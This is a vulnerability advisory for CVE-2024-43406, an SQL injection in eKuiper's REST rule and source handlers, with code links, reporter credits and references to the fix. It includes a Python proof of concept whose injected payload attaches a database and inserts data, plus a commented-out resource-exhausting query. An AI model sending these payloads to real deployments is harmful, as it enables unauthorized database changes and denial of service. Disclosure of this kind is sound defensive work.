CVE-2024-43406

Impact

### Summary A user could utilize and exploit SQL Injection to allow the execution of malicious SQL query via Get method in sqlKvStore. ### Details I will use explainRuleHandler ("/rules/{name}/explain") as an example to illustrate. However, this vulnerability also exists in other methods such as sourceManageHandler, asyncTaskCancelHandler, pluginHandler, etc. The SQL injection can happen in the code: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L89-L93 The code to accept user input is: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/server/rest.go#L274-L277 The rule id in the above code can be used to exploit SQL query. Note that the delete function is also vulnerable: https://github.com/lf-edge/ekuiper/blob/d6457d008e129b1cdd54d76b5993992c349d1b80/internal/pkg/store/sql/sqlKv.go#L138-L141 ### PoC ``` import requests from urllib.parse import quote # SELECT val FROM 'xxx' WHERE key='%s'; payload = f"""'; ATTACH DATABASE 'test93' AS test93; CREATE TABLE test93.pwn (dataz text); INSERT INTO test93.pwn (dataz) VALUES ("sql injection");--""" #payload = "deadbeef'; SELECT 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000))));--" url = f"http://127.0.0.1:9081/rules/{quote(payload,safe='')}/explain" # explainRuleHandler res = requests.get(url) print(res.content) ``` The screenshot shows the malicious SQL query to insert a value:  The screenshot shows the breakpoint of executing the query:  ### Impact SQL Injection vulnerability The reporters are Yuan Luo, Shuai Xiong, Haoyu Wang from Tencent YunDing Security Lab.

Affected packages

Affected products

Weakness classification

References

• NVD record
• CVE.org record
• GitHub advisory
• https://github.com/lf-edge/ekuiper/commit/1a9c745649438feaac357d282959687012b65503
• https://github.com/lf-edge/ekuiper/security/advisories/GHSA-r5ph-4jxm-6j9p
• https://github.com/advisories/GHSA-r5ph-4jxm-6j9p
• https://nvd.nist.gov/vuln/detail/CVE-2024-43406
• https://github.com/pypa/advisory-database/tree/main/vulns/ekuiper/PYSEC-2024-72.yaml